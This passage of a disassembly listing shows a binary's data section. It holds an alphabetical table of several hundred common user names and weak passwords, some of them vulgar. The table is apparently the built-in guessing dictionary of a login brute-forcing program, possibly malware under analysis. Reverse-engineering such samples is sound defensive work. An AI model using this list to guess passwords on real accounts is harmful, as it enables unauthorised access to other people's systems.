10h aVictor db 'victor',0 ; DATA XREF: ___:00431028o align 4 aVicky db 'vicky',0 ; DATA XREF: ___:00431024o align 10h aVertigo db 'vertigo',0 ; DATA XREF: ___:00431020o aVeronica db 'veronica',0 ; DATA XREF: ___:0043101Co align 4 aVenus db 'venus',0 ; DATA XREF: ___:00431018o align 4 aVasant db 'vasant',0 ; DATA XREF: ___:00431014o align 4 aVampire db 'vampire',0 ; DATA XREF: ___:00431010o aValerie db 'valerie',0 ; DATA XREF: ___:0043100Co aVagina db 'vagina',0 ; DATA XREF: ___:00431008o align 4 aUucp db 'uucp',0 ; DATA XREF: ___:00431004o align 4 aUtility db 'utility',0 ; DATA XREF: ___:00431000o aUtil db 'util',0 ; DATA XREF: ___:00430FFCo align 4 aUsmc db 'usmc',0 ; DATA XREF: ___:00430FF8o align 4 aUsername db 'username',0 ; DATA XREF: ___:00430FF4o align 4 aUsermane db 'usermane',0 ; DATA XREF: ___:00430FF0o align 4 aUsenet db 'usenet',0 ; DATA XREF: ___:00430FECo align 4 aUrsula db 'ursula',0 ; DATA XREF: ___:00430FE8o align 4 aUrchin db 'urchin',0 ; DATA XREF: ___:00430FE4o align 4 aUranus db 'uranus',0 ; DATA XREF: ___:00430FE0o align 4 aUpload db 'upload',0 ; DATA XREF: ___:00430FDCo align 4 aUnlock db 'unlock',0 ; DATA XREF: ___:00430FD8o align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: ___:00430FD4o aUniversi db 'universi',0 ; DATA XREF: ___:00430FD0o align 4 aUniverse db 'universe',0 ; DATA XREF: ___:00430FCCo align 4 aUniversa db 'universa',0 ; DATA XREF: ___:00430FC8o align 10h aUniform db 'uniform',0 ; DATA XREF: ___:00430FC4o aUnicorn db 'unicorn',0 ; DATA XREF: ___:00430FC0o aUnhappy db 'unhappy',0 ; DATA XREF: ___:00430FBCo aUndo db 'undo',0 ; DATA XREF: ___:00430FB8o align 10h aUncle db 'uncle',0 ; DATA XREF: ___:00430FB4o align 4 aUmesh db 'umesh',0 ; DATA XREF: ___:00430FB0o align 10h aUgly db 'ugly',0 ; DATA XREF: ___:00430FACo align 4 aTuttle db 'tuttle',0 ; DATA XREF: ___:00430FA8o align 10h aTurn db 'turn',0 ; DATA XREF: ___:00430FA4o align 4 aTuesday db 'tuesday',0 ; DATA XREF: ___:00430FA0o aTubas db 'tubas',0 ; DATA XREF: ___:00430F9Co align 4 aTruth db 'truth',0 ; DATA XREF: ___:00430F98o align 10h aTrue db 'true',0 ; DATA XREF: ___:00430F94o align 4 aTron db 'tron',0 ; DATA XREF: ___:00430F90o align 10h aTrombone db 'trombone',0 ; DATA XREF: ___:00430F8Co align 4 aTrojan db 'trojan',0 ; DATA XREF: ___:00430F88o align 4 aTrivial db 'trivial',0 ; DATA XREF: ___:00430F84o aTrisha db 'trisha',0 ; DATA XREF: ___:00430F80o align 4 aTrek db 'trek',0 ; DATA XREF: ___:00430F7Co align 4 aTree db 'tree',0 ; DATA XREF: ___:00430F78o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: ___:00430F74o align 10h aTrap db 'trap',0 ; DATA XREF: ___:00430F70o align 4 aTransfer db 'transfer',0 ; DATA XREF: ___:00430F6Co align 4 aTrails db 'trails',0 ; DATA XREF: ___:00430F68o align 4 aTracy db 'tracy',0 ; DATA XREF: ___:00430F64o align 4 aTracie db 'tracie',0 ; DATA XREF: ___:00430F60o align 4 aTraci db 'traci',0 ; DATA XREF: ___:00430F5Co align 4 aToyota db 'toyota',0 ; DATA XREF: ___:00430F58o align 4 aToxic db 'toxic',0 ; DATA XREF: ___:00430F54o align 4 aTortoise db 'tortoise',0 ; DATA XREF: ___:00430F50o align 10h aTopograp db 'topograp',0 ; DATA XREF: ___:00430F4Co align 4 aTomato db 'tomato',0 ; DATA XREF: ___:00430F48o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: ___:00430F44o align 10h aToken db 'token',0 ; DATA XREF: ___:00430F40o align 4 aToggle db 'toggle',0 ; DATA XREF: ___:00430F3Co align 10h aToad db 'toad',0 ; DATA XREF: ___:00430F38o align 4 aTits db 'tits',0 ; DATA XREF: ___:00430F34o align 10h aTina db 'tina',0 ; DATA XREF: ___:00430F30o align 4 aTime db 'time',0 ; DATA XREF: ___:00430F2Co align 10h aTiger db 'tiger',0 ; DATA XREF: ___:00430F28o align 4 aTiffany db 'tiffany',0 ; DATA XREF: ___:00430F24o aThursday db 'thursday',0 ; DATA XREF: ___:00430F20o align 4 aThin db 'thin',0 ; DATA XREF: ___:00430F1Co align 4 aTheresa db 'theresa',0 ; DATA XREF: ___:00430F18o aThailand db 'thailand',0 ; DATA XREF: ___:00430F14o align 4 aText db 'text',0 ; DATA XREF: ___:00430F10o align 10h aTetris db 'tetris',0 ; DATA XREF: ___:00430F0Co align 4 aTess db 'tess',0 ; DATA XREF: ___:00430F08o align 10h aTerminat db 'terminat',0 ; DATA XREF: ___:00430F04o align 4 aTerminal db 'terminal',0 ; DATA XREF: ___:00430F00o align 4 aTera db 'tera',0 ; DATA XREF: ___:00430EFCo align 10h aTennis db 'tennis',0 ; DATA XREF: ___:00430EF8o align 4 aTemptati db 'temptati',0 ; DATA XREF: ___:00430EF4o align 4 aTelnet db 'telnet',0 ; DATA XREF: ___:00430EF0o align 4 aTelephon db 'telephon',0 ; DATA XREF: ___:00430EECo align 4 aTeenage db 'teenage',0 ; DATA XREF: ___:00430EE8o aTeen db 'teen',0 ; DATA XREF: ___:00430EE4o align 4 aTech db 'tech',0 ; DATA XREF: ___:00430EE0o align 10h aTears db 'tears',0 ; DATA XREF: ___:00430EDCo align 4 aTeapot db 'teapot',0 ; DATA XREF: ___:00430ED8o align 10h aTeam db 'team',0 ; DATA XREF: ___:00430ED4o align 4 aTaylor db 'taylor',0 ; DATA XREF: ___:00430ECCo align 10h aTarragon db 'tarragon',0 ; DATA XREF: ___:00430EC8o align 4 aTarget db 'target',0 ; DATA XREF: ___:00430EC4o align 4 aTara db 'tara',0 ; DATA XREF: ___:00430EC0o align 4 aTape db 'tape',0 ; DATA XREF: ___:00430EBCo align 4 aTango db 'tango',0 ; DATA XREF: ___:00430EB8o align 4 aTangerin db 'tangerin',0 ; DATA XREF: ___:00430EB4o align 4 aTammy db 'tammy',0 ; DATA XREF: ___:00430EB0o align 10h aTamie db 'tamie',0 ; DATA XREF: ___:00430EACo align 4 aTami db 'tami',0 ; DATA XREF: ___:00430EA8o align 10h aTamara db 'tamara',0 ; DATA XREF: ___:00430EA4o align 4 aTall db 'tall',0 ; DATA XREF: ___:00430EA0o align 10h aTalk db 'talk',0 ; DATA XREF: ___:00430E9Co align 4 aTabasco db 'tabasco',0 ; DATA XREF: ___:00430E98o aSysop db 'sysop',0 ; DATA XREF: ___:00430E94o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: ___:00430E90o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: ___:00430E8Co align 10h aSybil db 'sybil',0 ; DATA XREF: ___:00430E88o align 4 aSword db 'sword',0 ; DATA XREF: ___:00430E84o align 10h aSwitch db 'switch',0 ; DATA XREF: ___:00430E80o align 4 aSweat db 'sweat',0 ; DATA XREF: ___:00430E7Co align 10h aSwearer db 'swearer',0 ; DATA XREF: ___:00430E78o aSuzie db 'suzie',0 ; DATA XREF: ___:00430E74o align 10h aSuzanne db 'suzanne',0 ; DATA XREF: ___:00430E70o aSusie db 'susie',0 ; DATA XREF: ___:00430E6Co align 10h aSusanne db 'susanne',0 ; DATA XREF: ___:00430E68o aSusan db 'susan',0 ; DATA XREF: ___:00430E64o align 10h aSurfing db 'surfing',0 ; DATA XREF: ___:00430E60o aSurfer db 'surfer',0 ; DATA XREF: ___:00430E5Co align 10h aSupporte db 'supporte',0 ; DATA XREF: ___:00430E58o align 4 aSupport db 'support',0 ; DATA XREF: ___:00430E54o aSupervis db 'supervis',0 ; DATA XREF: ___:00430E50o align 10h aSuperuse db 'superuse',0 ; DATA XREF: ___:00430E4Co align 4 aSupersta db 'supersta',0 ; DATA XREF: ___:00430E48o align 4 aSuperson db 'superson',0 ; DATA XREF: ___:00430E44o align 4 aSuperman db 'superman',0 ; DATA XREF: ___:00430E40o align 10h aSunday db 'sunday',0 ; DATA XREF: ___:00430E3Co align 4 aSummer db 'summer',0 ; DATA XREF: ___:00430E38o align 10h aSucks db 'sucks',0 ; DATA XREF: ___:00430E34o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: ___:00430E30o align 4 aSuck db 'suck',0 ; DATA XREF: ___:00430E2Co align 4 aSuccess db 'success',0 ; DATA XREF: ___:00430E28o aSubway db 'subway',0 ; DATA XREF: ___:00430E24o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: ___:00430E20o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: ___:00430E1Co align 4 aStrip db 'strip',0 ; DATA XREF: ___:00430E14o align 4 aString db 'string',0 ; DATA XREF: ___:00430E10o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: ___:00430E0Co align 10h aStratfor db 'stratfor',0 ; DATA XREF: ___:00430E08o align 4 aStrangle db 'strangle',0 ; DATA XREF: ___:00430E04o align 4 aStrange db 'strange',0 ; DATA XREF: ___:00430E00o aStones db 'stones',0 ; DATA XREF: ___:00430DFCo align 4 aStoned db 'stoned',0 ; DATA XREF: ___:00430DF8o align 10h aStoneage db 'stoneage',0 ; DATA XREF: ___:00430DF4o align 4 aSteve db 'steve',0 ; DATA XREF: ___:00430DF0o align 4 aStereo db 'stereo',0 ; DATA XREF: ___:00430DECo align 4 aStephani db 'stephani',0 ; DATA XREF: ___:00430DE8o align 4 aSteph db 'steph',0 ; DATA XREF: ___:00430DE4o align 10h aSteel db 'steel',0 ; DATA XREF: ___:00430DE0o align 4 aSteal db 'steal',0 ; DATA XREF: ___:00430DDCo align 10h aSteak db 'steak',0 ; DATA XREF: ___:00430DD8o align 4 aStarwars db 'starwars',0 ; DATA XREF: ___:00430DD4o align 4 aStartup db 'startup',0 ; DATA XREF: ___:00430DD0o aStartrek db 'startrek',0 ; DATA XREF: ___:00430DCCo align 4 aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o ; ___:00430DC8o align 10h aStarship db 'starship',0 ; DATA XREF: ___:00430DC4o align 4 aStar db 'star',0 ; DATA XREF: ___:00430DC0o align 4 aStacy db 'stacy',0 ; DATA XREF: ___:00430DBCo align 4 aStacie db 'stacie',0 ; DATA XREF: ___:00430DB8o align 4 aStaci db 'staci',0 ; DATA XREF: ___:00430DB4o align 4 aStacey db 'stacey',0 ; DATA XREF: ___:00430DB0o align 4 aSr71 db 'sr71',0 ; DATA XREF: ___:00430DACo align 4 aSquires db 'squires',0 ; DATA XREF: ___:00430DA8o aSpunk db 'spunk',0 ; DATA XREF: ___:00430DA4o align 4 aSpringer db 'springer',0 ; DATA XREF: ___:00430DA0o align 4 aSpring db 'spring',0 ; DATA XREF: ___:00430D9Co align 10h aSpred db 'spred',0 ; DATA XREF: ___:00430D98o align 4 aSpit db 'spit',0 ; DATA XREF: ___:00430D94o align 10h aSpiderma db 'spiderma',0 ; DATA XREF: ___:00430D90o align 4 aSpider db 'spider',0 ; DATA XREF: ___:00430D8Co align 4 aSpice db 'spice',0 ; DATA XREF: ___:00430D88o align 4 aSpell db 'spell',0 ; DATA XREF: ___:00430D84o align 4 aSpear db 'spear',0 ; DATA XREF: ___:00430D80o align 4 aSparrows db 'sparrows',0 ; DATA XREF: ___:00430D7Co align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: ___:00430D78o align 4 aSouth db 'south',0 ; DATA XREF: ___:00430D74o align 4 aSource db 'source',0 ; DATA XREF: ___:00430D70o align 4 aSossina db 'sossina',0 ; DATA XREF: ___:00430D6Co aSonya db 'sonya',0 ; DATA XREF: ___:00430D68o align 4 aSonic db 'sonic',0 ; DATA XREF: ___:00430D64o align 4 aSonia db 'sonia',0 ; DATA XREF: ___:00430D60o align 4 aSondra db 'sondra',0 ; DATA XREF: ___:00430D5Co align 4 aSomebody db 'somebody',0 ; DATA XREF: ___:00430D58o align 4 aSoftware db 'software',0 ; DATA XREF: ___:00430D54o align 4 aSoft db 'soft',0 ; DATA XREF: ___:00430D50o align 4 aSodomy db 'sodomy',0 ; DATA XREF: ___:00430D4Co align 4 aSocrates db 'socrates',0 ; DATA XREF: ___:00430D48o align 10h aSocial db 'social',0 ; DATA XREF: ___:00430D44o align 4 aSoap db 'soap',0 ; DATA XREF: ___:00430D40o align 10h aSnoopy db 'snoopy',0 ; DATA XREF: ___:00430D3Co align 4 aSnatch db 'snatch',0 ; DATA XREF: ___:00430D38o align 10h aSnake db 'snake',0 ; DATA XREF: ___:00430D34o align 4 aSnafu db 'snafu',0 ; DATA XREF: ___:00430D30o align 10h aSnach db 'snach',0 ; DATA XREF: ___:00430D2Co align 4 aSmut db 'smut',0 ; DATA XREF: ___:00430D28o align 10h aSmtp db 'smtp',0 ; DATA XREF: ___:00430D24o align 4 aSmother db 'smother',0 ; DATA XREF: ___:00430D20o aSmooch db 'smooch',0 ; DATA XREF: ___:00430D1Co align 4 aSmiles db 'smiles',0 ; DATA XREF: ___:00430D18o align 10h aSmile db 'smile',0 ; DATA XREF: ___:00430D14o align 4 aSmart db 'smart',0 ; DATA XREF: ___:00430D10o align 10h aSmall db 'small',0 ; DATA XREF: ___:00430D0Co align 4 aSlut db 'slut',0 ; DATA XREF: ___:00430D08o align 10h aSlow db 'slow',0 ; DATA XREF: ___:00430D04o align 4 aSliders db 'sliders',0 ; DATA XREF: ___:00430D00o aSlick db 'slick',0 ; DATA XREF: ___:00430CFCo align 4 aSlave db 'slave',0 ; DATA XREF: ___:00430CF8o align 10h aSkull db 'skull',0 ; DATA XREF: ___:00430CF4o align 4 aSite db 'site',0 ; DATA XREF: ___:00430CF0o align 10h aSingle db 'single',0 ; DATA XREF: ___:00430CECo align 4 aSinger db 'singer',0 ; DATA XREF: ___:00430CE8o align 10h aSimulati db 'simulati',0 ; DATA XREF: ___:00430CE4o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: ___:00430CE0o align 4 aSimple db 'simple',0 ; DATA XREF: ___:00430CDCo align 10h aSimon db 'simon',0 ; DATA XREF: ___:00430CD8o align 4 aSimcity db 'simcity',0 ; DATA XREF: ___:00430CD4o aSilver db 'silver',0 ; DATA XREF: ___:00430CD0o align 4 aSignatur db 'signatur',0 ; DATA XREF: ___:00430CCCo align 4 aSierra db 'sierra',0 ; DATA XREF: ___:00430CC8o align 4 aSick db 'sick',0 ; DATA XREF: ___:00430CC4o align 4 aShuttle db 'shuttle',0 ; DATA XREF: ___:00430CC0o aShort db 'short',0 ; DATA XREF: ___:00430CBCo align 4 aShivers db 'shivers',0 ; DATA XREF: ___:00430CB8o aShiva db 'shiva',0 ; DATA XREF: ___:00430CB4o align 4 aShitpot db 'shitpot',0 ; DATA XREF: ___:00430CB0o aShit db 'shit',0 ; DATA XREF: ___:00430CACo align 4 aShirley db 'shirley',0 ; DATA XREF: ___:00430CA8o aShift db 'shift',0 ; DATA XREF: ___:00430CA4o align 4 aSherri db 'sherri',0 ; DATA XREF: ___:00430CA0o align 4 aShell db 'shell',0 ; DATA XREF: ___:00430C9Co align 4 aSheldon db 'sheldon',0 ; DATA XREF: ___:00430C98o aSheffiel db 'sheffiel',0 ; DATA XREF: ___:00430C94o align 4 aSharon db 'sharon',0 ; DATA XREF: ___:00430C90o align 10h aSharks db 'sharks',0 ; DATA XREF: ___:00430C8Co align 4 aShark db 'shark',0 ; DATA XREF: ___:00430C88o align 10h aSharc db 'sharc',0 ; DATA XREF: ___:00430C84o align 4 aShannon db 'shannon',0 ; DATA XREF: ___:00430C80o aSexy db 'sexy',0 ; DATA XREF: ___:00430C7Co align 4 aSesame db 'sesame',0 ; DATA XREF: ___:00430C78o align 10h aService db 'service',0 ; DATA XREF: ___:00430C74o aSerial_0 db 'serial',0 ; DATA XREF: ___:00430C70o align 10h aSerenity db 'serenity',0 ; DATA XREF: ___:00430C6Co align 4 aSentry db 'sentry',0 ; DATA XREF: ___:00430C68o align 4 aSentinel db 'sentinel',0 ; DATA XREF: ___:00430C64o align 10h aSensor db 'sensor',0 ; DATA XREF: ___:00430C60o align 4 aSega db 'sega',0 ; DATA XREF: ___:00430C5Co align 10h aSeed db 'seed',0 ; DATA XREF: ___:00430C58o align 4 aSecurity db 'security',0 ; DATA XREF: ___:00430C54o align 4 aSearch db 'search',0 ; DATA XREF: ___:00430C50o align 4 aScout db 'scout',0 ; DATA XREF: ___:00430C4Co align 4 aScotty db 'scotty',0 ; DATA XREF: ___:00430C48o align 4 aScott db 'scott',0 ; DATA XREF: ___:00430C44o align 4 aScorpion db 'scorpion',0 ; DATA XREF: ___:00430C40o align 10h aScifi db 'scifi',0 ; DATA XREF: ___:00430C3Co align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: ___:00430C38o aSchool db 'school',0 ; DATA XREF: ___:00430C34o align 4 aScheme db 'scheme',0 ; DATA XREF: ___:00430C30o align 4 aScamper db 'scamper',0 ; DATA XREF: ___:00430C2Co aSaxon db 'saxon',0 ; DATA XREF: ___:00430C28o align 4 aSaturn db 'saturn',0 ; DATA XREF: ___:00430C24o align 4 aSaturday db 'saturday',0 ; DATA XREF: ___:00430C20o align 4 aSarah db 'sarah',0 ; DATA XREF: ___:00430C1Co align 10h aSara db 'sara',0 ; DATA XREF: ___:00430C18o align 4 aSandy db 'sandy',0 ; DATA XREF: ___:00430C14o align 10h aSandra db 'sandra',0 ; DATA XREF: ___:00430C10o align 4 aSample db 'sample',0 ; DATA XREF: ___:00430C0Co align 10h aSamantha db 'samantha',0 ; DATA XREF: ___:00430C08o align 4 aSalt db 'salt',0 ; DATA XREF: ___:00430C04o align 4 aSale db 'sale',0 ; DATA XREF: ___:00430C00o align 4 aSalami db 'salami',0 ; DATA XREF: ___:00430BFCo align 4 aSafe db 'safe',0 ; DATA XREF: ___:00430BF8o align 4 aRuth db 'ruth',0 ; DATA XREF: ___:00430BF4o align 4 aRush db 'rush',0 ; DATA XREF: ___:00430BF0o align 4 aRunning_0 db 'running',0 ; DATA XREF: ___:00430BECo aRules db 'rules',0 ; DATA XREF: ___:00430BE8o align 4 aRude db 'rude',0 ; DATA XREF: ___:00430BE4o align 4 aRuby db 'ruby',0 ; DATA XREF: ___:00430BE0o align 4 aRuben db 'ruben',0 ; DATA XREF: ___:00430BDCo align 4 aRubber db 'rubber',0 ; DATA XREF: ___:00430BD8o align 4 aRough db 'rough',0 ; DATA XREF: ___:00430BD4o align 4 aRoses db 'roses',0 ; DATA XREF: ___:00430BD0o align 4 aRosemary db 'rosemary',0 ; DATA XREF: ___:00430BCCo align 4 aRosebud db 'rosebud',0 ; DATA XREF: ___:00430BC8o aRose db 'rose',0 ; DATA XREF: ___:00430BC4o align 4 aRonald db 'ronald',0 ; DATA XREF: ___:00430BC0o align 10h aRomulan db 'romulan',0 ; DATA XREF: ___:00430BBCo aRomeo db 'romeo',0 ; DATA XREF: ___:00430BB8o align 10h aRomano db 'romano',0 ; DATA XREF: ___:00430BB4o align 4 aRolex db 'rolex',0 ; DATA XREF: ___:00430BB0o align 10h aRodent db 'rodent',0 ; DATA XREF: ___:00430BACo align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: ___:00430BA8o align 4 aRocky db 'rocky',0 ; DATA XREF: ___:00430BA4o align 4 aRock db 'rock',0 ; DATA XREF: ___:00430BA0o align 4 aRocheste db 'rocheste',0 ; DATA XREF: ___:00430B9Co align 10h aRochelle db 'rochelle',0 ; DATA XREF: ___:00430B98o align 4 aRobyn db 'robyn',0 ; DATA XREF: ___:00430B94o align 4 aRobotics db 'robotics',0 ; DATA XREF: ___:00430B90o align 10h aRobot db 'robot',0 ; DATA XREF: ___:00430B8Co align 4 aRobin db 'robin',0 ; DATA XREF: ___:00430B88o align 10h aRobert db 'robert',0 ; DATA XREF: ___:00430B84o align 4 aRoach db 'roach',0 ; DATA XREF: ___:00430B80o align 10h aRisc db 'risc',0 ; DATA XREF: ___:00430B7Co align 4 aRipple db 'ripple',0 ; DATA XREF: ___:00430B78o align 10h aRiot db 'riot',0 ; DATA XREF: ___:00430B74o align 4 aRing db 'ring',0 ; DATA XREF: ___:00430B70o align 10h aRightwin db 'rightwin',0 ; DATA XREF: ___:00430B6Co align 4 aRight db 'right',0 ; DATA XREF: ___:00430B68o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: ___:00430B64o align 10h aRick db 'rick',0 ; DATA XREF: ___:00430B60o align 4 aRich db 'rich',0 ; DATA XREF: ___:00430B5Co align 10h aRhino db 'rhino',0 ; DATA XREF: ___:00430B58o align 4 aReveal db 'reveal',0 ; DATA XREF: ___:00430B54o align 10h aResistan db 'resistan',0 ; DATA XREF: ___:00430B50o align 4 aRepublic db 'republic',0 ; DATA XREF: ___:00430B4Co align 4 aReport db 'report',0 ; DATA XREF: ___:00430B48o align 10h aRent db 'rent',0 ; DATA XREF: ___:00430B44o align 4 aReno db 'reno',0 ; DATA XREF: ___:00430B40o align 10h aRenee db 'renee',0 ; DATA XREF: ___:00430B3Co align 4 aRemote db 'remote',0 ; DATA XREF: ___:00430B38o align 10h aRelease db 'release',0 ; DATA XREF: ___:00430B34o aRegional db 'regional',0 ; DATA XREF: ___:00430B30o align 4 aReferenc db 'referenc',0 ; DATA XREF: ___:00430B2Co align 10h aRedhead db 'redhead',0 ; DATA XREF: ___:00430B28o aReddawn db 'reddawn',0 ; DATA XREF: ___:00430B24o aRecord db 'record',0 ; DATA XREF: ___:00430B20o align 4 aRebel db 'rebel',0 ; DATA XREF: ___:00430B1Co align 10h aRebecca db 'rebecca',0 ; DATA XREF: ___:00430B18o aRebal db 'rebal',0 ; DATA XREF: ___:00430B14o align 10h aReaper db 'reaper',0 ; DATA XREF: ___:00430B10o align 4 aReam db 'ream',0 ; DATA XREF: ___:00430B0Co align 10h aReally db 'really',0 ; DATA XREF: ___:00430B08o align 4 aReality db 'reality',0 ; DATA XREF: ___:00430B04o aReagan db 'reagan',0 ; DATA XREF: ___:00430B00o align 4 aRazor db 'razor',0 ; DATA XREF: ___:00430AFCo align 10h aRascal db 'rascal',0 ; DATA XREF: ___:00430AF8o align 4 aRape db 'rape',0 ; DATA XREF: ___:00430AF4o align 10h aRaleigh db 'raleigh',0 ; DATA XREF: ___:00430AECo aRaindrop db 'raindrop',0 ; DATA XREF: ___:00430AE8o align 4 aRainbow db 'rainbow',0 ; DATA XREF: ___:00430AE4o aRain db 'rain',0 ; DATA XREF: ___:00430AE0o align 4 aRaid db 'raid',0 ; DATA XREF: ___:00430ADCo align 4 aRachmani db 'rachmani',0 ; DATA XREF: ___:00430AD8o align 4 aRachelle db 'rachelle',0 ; DATA XREF: ___:00430AD4o align 4 aRachel db 'rachel',0 ; DATA XREF: ___:00430AD0o align 4 aRabbit db 'rabbit',0 ; DATA XREF: ___:00430ACCo align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00430AC8o align 4 aQwert db 'qwert',0 ; DATA XREF: ___:00430AC4o align 4 aQuebec db 'quebec',0 ; DATA XREF: ___:00430AC0o align 4 aPussy db 'pussy',0 ; DATA XREF: ___:00430ABCo align 4 aPuppet db 'puppet',0 ; DATA XREF: ___:00430AB8o align 4 aPunk db 'punk',0 ; DATA XREF: ___:00430AB4o align 4 aPunisher db 'punisher',0 ; DATA XREF: ___:00430AB0o align 10h aPuneet db 'puneet',0 ; DATA XREF: ___:00430AACo align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: ___:00430AA8o aPuke db 'puke',0 ; DATA XREF: ___:00430AA4o align 4 aPuck db 'puck',0 ; DATA XREF: ___:00430AA0o align 10h aPublic db 'public',0 ; DATA XREF: ___:00430A9Co align 4 aPsychopa db 'psychopa',0 ; DATA XREF: ___:00430A98o align 4 aPsycho db 'psycho',0 ; DATA XREF: ___:00430A94o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: ___:00430A90o align 4 aProtect db 'protect',0 ; DATA XREF: ___:00430A8Co aPrompt db 'prompt',0 ; DATA XREF: ___:00430A88o align 4 aProgram db 'program',0 ; DATA XREF: ___:00430A84o aProfile db 'profile',0 ; DATA XREF: ___:00430A80o aProfesso db 'professo',0 ; DATA XREF: ___:00430A7Co align 4 aProcesso db 'processo',0 ; DATA XREF: ___:00430A78o align 10h aProceed db 'proceed',0 ; DATA XREF: ___:00430A74o aPrivs db 'privs',0 ; DATA XREF: ___:00430A70o align 10h aPrivate db 'private',0 ; DATA XREF: ___:00430A6Co aPriv db 'priv',0 ; DATA XREF: ___:00430A68o align 10h aPrinter db 'printer',0 ; DATA XREF: ___:00430A64o aPrinceto db 'princeto',0 ; DATA XREF: ___:00430A60o align 4 aPrince db 'prince',0 ; DATA XREF: ___:00430A5Co align 4 aPresto db 'presto',0 ; DATA XREF: ___:00430A58o align 4 aPrelude db 'prelude',0 ; DATA XREF: ___:00430A54o aPrecious db 'precious',0 ; DATA XREF: ___:00430A50o align 4 aPraise db 'praise',0 ; DATA XREF: ___:00430A4Co align 10h aPower db 'power',0 ; DATA XREF: ___:00430A48o align 4 aPoster db 'poster',0 ; DATA XREF: ___:00430A44o align 10h aPost db 'post',0 ; DATA XREF: ___:00430A40o align 4 aPorsche db 'porsche',0 ; DATA XREF: ___:00430A3Co aPorno db 'porno',0 ; DATA XREF: ___:00430A38o align 4 aPorn db 'porn',0 ; DATA XREF: ___:00430A34o align 10h aPork db 'pork',0 ; DATA XREF: ___:00430A30o align 4 aPoor db 'poor',0 ; DATA XREF: ___:00430A2Co align 10h aPoop db 'poop',0 ; DATA XREF: ___:00430A28o align 4 aPonderin db 'ponderin',0 ; DATA XREF: ___:00430A24o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: ___:00430A20o align 10h aPolly db 'polly',0 ; DATA XREF: ___:00430A1Co align 4 aPolice db 'police',0 ; DATA XREF: ___:00430A18o align 10h aPoetry db 'poetry',0 ; DATA XREF: ___:00430A14o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: ___:00430A10o align 4 aPluto db 'pluto',0 ; DATA XREF: ___:00430A0Co align 4 aPlover db 'plover',0 ; DATA XREF: ___:00430A08o align 4 aPlayboy db 'playboy',0 ; DATA XREF: ___:00430A04o aPlane db 'plane',0 ; DATA XREF: ___:00430A00o align 4 aPizza db 'pizza',0 ; DATA XREF: ___:004309FCo align 4 aPiss db 'piss',0 ; DATA XREF: ___:004309F8o align 4 aPinname db 'pinname',0 ; DATA XREF: ___:004309F4o aPimp db 'pimp',0 ; DATA XREF: ___:004309F0o align 4 aPierre db 'pierre',0 ; DATA XREF: ___:004309ECo align 4 aPick db 'pick',0 ; DATA XREF: ___:004309E8o align 4 aPhuck db 'phuck',0 ; DATA XREF: ___:004309E4o align 4 aPhreak db 'phreak',0 ; DATA XREF: ___:004309E0o align 4 aPhrase db 'phrase',0 ; DATA XREF: ___:004309DCo align 4 aPhrack db 'phrack',0 ; DATA XREF: ___:004309D8o align 4 aPhoton db 'photon',0 ; DATA XREF: ___:004309D4o align 4 aPhone db 'phone',0 ; DATA XREF: ___:004309D0o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: ___:004309CCo aPhilip db 'philip',0 ; DATA XREF: ___:004309C8o align 4 aPhil db 'phil',0 ; DATA XREF: ___:004309C4o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004309C0o align 4 aPete db 'pete',0 ; DATA XREF: ___:004309BCo align 4 aPervert db 'pervert',0 ; DATA XREF: ___:004309B8o aPersona db 'persona',0 ; DATA XREF: ___:004309B4o aPersimmo db 'persimmo',0 ; DATA XREF: ___:004309B0o align 4 aPermit db 'permit',0 ; DATA XREF: ___:004309ACo align 10h aPerfect db 'perfect',0 ; DATA XREF: ___:004309A8o aPercolat db 'percolat',0 ; DATA XREF: ___:004309A4o align 4 aPepper db 'pepper',0 ; DATA XREF: ___:004309A0o align 4 aPeoria db 'peoria',0 ; DATA XREF: ___:0043099Co align 4 aPentium db 'pentium',0 ; DATA XREF: ___:00430998o aPenthous db 'penthous',0 ; DATA XREF: ___:00430994o align 4 aPentagra db 'pentagra',0 ; DATA XREF: ___:00430990o align 4 aPentagon db 'pentagon',0 ; DATA XREF: ___:0043098Co align 10h aPenname db 'penname',0 ; DATA XREF: ___:00430988o aPenis db 'penis',0 ; DATA XREF: ___:00430984o align 10h aPenguin db 'penguin',0 ; DATA XREF: ___:00430980o aPenelope db 'penelope',0 ; DATA XREF: ___:0043097Co align 4 aPencil db 'pencil',0 ; DATA XREF: ___:00430978o align 4 aPecker db 'pecker',0 ; DATA XREF: ___:00430974o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: ___:00430970o aPaula db 'paula',0 ; DATA XREF: ___:0043096Co align 4 aPatty db 'patty',0 ; DATA XREF: ___:00430968o align 4 aPatriot db 'patriot',0 ; DATA XREF: ___:00430964o aPatricia db 'patricia',0 ; DATA XREF: ___:00430960o align 10h aPaste db 'paste',0 ; DATA XREF: ___:0043095Co align 4 aPassphra db 'passphra',0 ; DATA XREF: ___:00430958o align 4 aPascal db 'pascal',0 ; DATA XREF: ___:00430954o align 4 aPapers db 'papers',0 ; DATA XREF: ___:00430950o align 4 aPaper db 'paper',0 ; DATA XREF: ___:0043094Co align 4 aPapa db 'papa',0 ; DATA XREF: ___:00430948o align 4 aPamela db 'pamela',0 ; DATA XREF: ___:00430944o align 4 aPakistan db 'pakistan',0 ; DATA XREF: ___:00430940o align 4 aPaint db 'paint',0 ; DATA XREF: ___:0043093Co align 10h aPainless db 'painless',0 ; DATA XREF: ___:00430938o align 4 aPacker db 'packer',0 ; DATA XREF: ___:00430934o align 4 aPackard db 'packard',0 ; DATA XREF: ___:00430930o aPacific db 'pacific',0 ; DATA 